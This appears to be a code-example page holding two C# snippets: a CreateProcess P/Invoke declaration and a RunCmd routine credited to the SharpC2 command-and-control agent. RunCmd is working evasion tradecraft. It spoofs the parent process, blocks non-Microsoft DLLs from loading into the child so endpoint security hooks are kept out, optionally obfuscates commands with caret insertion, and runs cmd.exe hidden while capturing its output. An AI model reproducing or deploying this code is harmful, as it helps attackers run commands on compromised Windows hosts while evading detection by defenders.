Beispiel #1
0
 //public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref flags.SECURITY_ATTRIBUTES lpProcessAttributes, ref flags.SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref flags.STARTUPINFOEX lpStartupInfo, out flags.PROCESS_INFORMATION lpProcessInformation);
 public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref flags.SECURITY_ATTRIBUTES lpProcessAttributes, ref flags.SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, flags.ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref flags.STARTUPINFOEX lpStartupInfo, out flags.PROCESS_INFORMATION lpProcessInformation);
Beispiel #2
0
        public static string RunCmd(string[] arguments)
        {
            int parentId      = SearchPID.SearchForPPID();
            var args          = arguments[1].Replace('+', ' ');
            var caretedArg    = "";
            var lpCommandLine = "";

            if (arguments[0] == "caretrun")
            {
                for (int i = 0; i < args.Length; i += 2)
                {
                    caretedArg = args.Insert(i, "^");
                    args       = caretedArg;
                }
                lpCommandLine = @"cmd.exe /c " + caretedArg;
            }
            else
            {
                lpCommandLine = @"cmd.exe /c " + args;
            }

            // STARTUPINFOEX members
            const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;

            // STARTUPINFO members (dwFlags and wShowWindow)
            const int    STARTF_USESTDHANDLES = 0x00000100;
            const int    STARTF_USESHOWWINDOW = 0x00000001;
            const ushort SW_HIDE = 0x0000;
            const uint   DUPLICATE_CLOSE_SOURCE = 0x00000001;
            const uint   DUPLICATE_SAME_ACCESS  = 0x00000002;

            // Mitigation Policy
            const long BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON  = 0x100000000000;
            const int  PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = 0x00020007;

            var blockMitigationPolicy = Marshal.AllocHGlobal(IntPtr.Size);

            var result = string.Empty;

            var saHandles = new flags.SECURITY_ATTRIBUTES();

            saHandles.nLength              = Marshal.SizeOf(saHandles);
            saHandles.bInheritHandle       = true;
            saHandles.lpSecurityDescriptor = IntPtr.Zero;

            IntPtr hStdOutRead;
            IntPtr hStdOutWrite;
            var    hDupStdOutWrite = IntPtr.Zero;

            Interop.CreatePipe(out hStdOutRead, out hStdOutWrite, ref saHandles, 0);
            Interop.SetHandleInformation(hStdOutRead, flags.HANDLE_FLAGS.INHERIT, 0);

            var pInfo = new flags.PROCESS_INFORMATION();
            var siEx  = new flags.STARTUPINFOEX();

            siEx.StartupInfo.cb = Marshal.SizeOf(siEx);
            var lpValueProc = IntPtr.Zero;

            siEx.StartupInfo.hStdError  = hStdOutWrite;
            siEx.StartupInfo.hStdOutput = hStdOutWrite;

            try
            {
                var lpSize = IntPtr.Zero;
                Interop.InitializeProcThreadAttributeList(IntPtr.Zero, 2, 0, ref lpSize);
                siEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
                Interop.InitializeProcThreadAttributeList(siEx.lpAttributeList, 2, 0, ref lpSize);

                if (IntPtr.Size == 4)
                {
                    Marshal.WriteIntPtr(blockMitigationPolicy, IntPtr.Zero);
                }
                else
                {
                    Marshal.WriteIntPtr(blockMitigationPolicy, new IntPtr((long)BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON));
                }

                Interop.UpdateProcThreadAttribute(siEx.lpAttributeList, 0, (IntPtr)PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, blockMitigationPolicy, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero);
                var parentHandle = Interop.OpenProcess(flags.ProcessAccessRights.CreateProcess | flags.ProcessAccessRights.DuplicateHandle, false, parentId);
                lpValueProc = Marshal.AllocHGlobal(IntPtr.Size);
                Marshal.WriteIntPtr(lpValueProc, parentHandle);

                Interop.UpdateProcThreadAttribute(
                    siEx.lpAttributeList,
                    0,
                    (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
                    lpValueProc,
                    (IntPtr)IntPtr.Size,
                    IntPtr.Zero,
                    IntPtr.Zero);

                var hCurrent   = Process.GetCurrentProcess().Handle;
                var hNewParent = Interop.OpenProcess(flags.ProcessAccessRights.DuplicateHandle, true, parentId);
                Interop.DuplicateHandle(hCurrent, hStdOutWrite, hNewParent, ref hDupStdOutWrite, 0, true, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS);

                siEx.StartupInfo.hStdError   = hDupStdOutWrite;
                siEx.StartupInfo.hStdOutput  = hDupStdOutWrite;
                siEx.StartupInfo.dwFlags     = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
                siEx.StartupInfo.wShowWindow = SW_HIDE;

                var ps = new flags.SECURITY_ATTRIBUTES();
                var ts = new flags.SECURITY_ATTRIBUTES();
                ps.nLength = Marshal.SizeOf(ps);
                ts.nLength = Marshal.SizeOf(ts);

                Interop.CreateProcess(null, lpCommandLine, ref ps, ref ts, true, flags.ProcessCreationFlags.EXTENDED_STARTUPINFO_PRESENT | flags.ProcessCreationFlags.CREATE_NO_WINDOW, IntPtr.Zero, null, ref siEx, out pInfo);

                // Credits to SharpC2 - https://raw.githubusercontent.com/SharpC2/SharpC2/dev/AgentModules/StageOne/Execution/LocalExecution.cs
                var safeHandle = new SafeFileHandle(hStdOutRead, false);
                var encoding   = Encoding.GetEncoding(Interop.GetConsoleOutputCP());
                var reader     = new StreamReader(new FileStream(safeHandle, FileAccess.Read, 4096, false), encoding, true);
                var exit       = false;

                try
                {
                    do
                    {
                        if (Interop.WaitForSingleObject(pInfo.hProcess, 100) == 0)
                        {
                            exit = true;
                        }
                        char[] buf = null;
                        int    bytesRead;
                        uint   bytesToRead = 0;
                        var    peekRet     = Interop.PeekNamedPipe(hStdOutRead, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref bytesToRead, IntPtr.Zero);

                        if (peekRet == true && bytesToRead == 0)
                        {
                            if (exit == true)
                            {
                                break;
                            }
                            else
                            {
                                continue;
                            }
                        }

                        if (bytesToRead > 4096)
                        {
                            bytesToRead = 4096;
                        }

                        buf       = new char[bytesToRead];
                        bytesRead = reader.Read(buf, 0, buf.Length);

                        if (bytesRead > 0)
                        {
                            result += new string(buf);
                        }
                    } while (true);

                    reader.Close();
                }
                catch (Exception e) { Console.WriteLine(e.Message); }
                finally
                {
                    if (!safeHandle.IsClosed)
                    {
                        safeHandle.Close();
                    }
                    if (hStdOutRead != IntPtr.Zero)
                    {
                        Interop.CloseHandle(hStdOutRead);
                    }
                }
            }
            catch (Exception e) { Console.WriteLine(e.Message); }
            finally
            {
                if (siEx.lpAttributeList != IntPtr.Zero)
                {
                    Interop.DeleteProcThreadAttributeList(siEx.lpAttributeList);
                    Marshal.FreeHGlobal(siEx.lpAttributeList);
                }

                Marshal.FreeHGlobal(lpValueProc);

                if (pInfo.hProcess != IntPtr.Zero)
                {
                    Interop.CloseHandle(pInfo.hProcess);
                }
                if (pInfo.hThread != IntPtr.Zero)
                {
                    Interop.CloseHandle(pInfo.hThread);
                }
            }

            return(result);
        }